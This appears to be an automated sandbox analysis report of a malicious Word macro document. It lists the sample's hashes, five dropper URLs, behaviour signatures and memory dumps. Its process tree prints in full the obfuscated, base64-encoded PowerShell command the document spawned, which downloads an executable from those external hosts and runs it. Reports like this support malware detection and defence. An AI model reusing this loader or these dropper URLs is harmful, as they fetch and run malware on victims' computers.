Analysis
- max time kernel
134s - max time network
129s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
04/05/2024, 02:35
General
- Target 114218cc0cda4bc9d777ad1554cb1392_JaffaCakes118.doc
- Size 152KB
- Sample240504-c3c8rabb3x
- SHA256 3965c5327e4e062d2a2786b689644741b4aaace1fa09ebda27313bd56e69ee6b
Malware Config
Extracted
-
ps1
-
exe.dropper
https://treadball.com/viqrqs/92192/
-
exe.dropper
http://bigplan-alex.com/APP.bigplan-alex.com/3ey6ryl636/
-
exe.dropper
http://amzonfun.com/clricns/npq12319/
-
exe.dropper
https://giaodienweb.xyz/fckeditor/sb22068/
-
exe.dropper
https://www.gronowskiphotos.net/wp-includes/zuxd6z30145/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\114218cc0cda4bc9d777ad1554cb1392_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABWAGsAZQBqAGIAZABoAG4AawA9ACcAWgB6AGsAegB2AGMAaABnAGkAJwA7ACQATQB1AHIAaQBiAHgAbABkAGkAcwAgAD0AIAAnADMANAAzACcAOwAkAEkAeQBuAHgAZgB4AHYAYQBkAHcAdQB4AGkAPQAnAE8AZABlAGYAYgBzAG8AcwBpAHEAeQBxAGIAJwA7ACQAVgB2AGEAdABzAHoAagBwAGgAbAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQB1AHIAaQBiAHgAbABkAGkAcwArACcALgBlAHgAZQAnADsAJABRAHgAeABuAHYAbABuAGYAYwBwAD0AJwBDAGMAZgBuAHEAegBjAHMAYwBkAGQAdwAnADsAJABHAHQAZwBhAHcAYwBrAHcAagA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBDAEwASQBlAG4AdAA7ACQAVQBhAGQAcgB1AGwAdwBuAD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGUAYQBkAGIAYQBsAGwALgBjAG8AbQAvAHYAaQBxAHIAcQBzAC8AOQAyADEAOQAyAC8AKgBoAHQAdABwADoALwAvAGIAaQBnAHAAbABhAG4ALQBhAGwAZQB4AC4AYwBvAG0ALwBBAFAAUAAuAGIAaQBnAHAAbABhAG4ALQBhAGwAZQB4AC4AYwBvAG0ALwAzAGUAeQA2AHIAeQBsADYAMwA2AC8AKgBoAHQAdABwADoALwAvAGEAbQB6AG8AbgBmAHUAbgAuAGMAbwBtAC8AYwBsAHIAaQBjAG4AcwAvAG4AcABxADEAMgAzADEAOQAvACoAaAB0AHQAcABzADoALwAvAGcAaQBhAG8AZABpAGUAbgB3AGUAYgAuAHgAeQB6AC8AZgBjAGsAZQBkAGkAdABvAHIALwBzAGIAMgAyADAANgA4AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAHIAbwBuAG8AdwBzAGsAaQBwAGgAbwB0AG8AcwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AegB1AHgAZAA2AHoAMwAwADEANAA1AC8AJwAuACIAUwBwAGAAbABpAHQAIgAoACcAKgAnACkAOwAkAEcAZQBoAGcAaAB0AHoAcgBmAHcAYQB2AD0AJwBCAHkAYgBxAG0AegBtAHAAZABkAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAagBjAHEAdgB6AGMAagAgAGkAbgAgACQAVQBhAGQAcgB1AGwAdwBuACkAewB0AHIAeQB7ACQARwB0AGcAYQB3AGMAawB3AGoALgAiAGQAbwB3AE4ATABPAEEARABgAEYASQBgAEwARQAiACgAJABLAGoAYwBxAHYAegBjAGoALAAgACQAVgB2AGEAdABzAHoAagBwAGgAbAApADsAJABJAGoAbQB1AGEAaQBiAGUAaQB5AHYAaAB2AD0AJwBYAGkAbQB1AHoAbwByAGUAYwBtACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAVgB2AGEAdABzAHoAagBwAGgAbAApAC4AIgBsAEUAbgBgAGcAVABoACIAIAAtAGcAZQAgADIAOAAxADUANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABWAHYAYQB0AHMAegBqAHAAaABsACkAOwAkAFIAYgBkAHkAcQB2AHEAaQBzAD0AJwBNAHoAagBzAHoAZgBpAHEAJwA7AGIAcgBlAGEAawA7ACQAUgB1AHEAbQByAGoAcgBlAD0AJwBQAGUAdABtAGcAdQB3AHIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABFAGYAbQBpAGEAZQB5AGUAPQAnAFQAeQBmAHoAZwBuAG0AeQBsACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
7E8633A4.wmf
iso690.xsl
__PSScriptPolicyTest_cjyzpquq.wt3.ps1
memory/4032-20-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-5-0x00007FFE81DED000-0x00007FFE81DEE000-memory.dmp
memory/4032-0-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-8-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-7-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-6-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-9-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-10-0x00007FFE3F990000-0x00007FFE3F9A0000-memory.dmp
memory/4032-11-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-12-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-16-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-17-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-18-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-3-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-1-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-19-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-4-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-13-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-2-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-685-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-15-0x00007FFE3F990000-0x00007FFE3F9A0000-memory.dmp
memory/4032-166-0x0000024F3AA40000-0x0000024F3AA6C000-memory.dmp
memory/4032-14-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-650-0x00007FFE81D50000-0x00007FFE81F45000-memory.dmp
memory/4032-681-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-682-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-683-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-680-0x00007FFE41DD0000-0x00007FFE41DE0000-memory.dmp
memory/4032-684-0x0000024F3AA40000-0x0000024F3AA6C000-memory.dmp
memory/4884-119-0x000001F2F8BB0000-0x000001F2F8BD2000-memory.dmp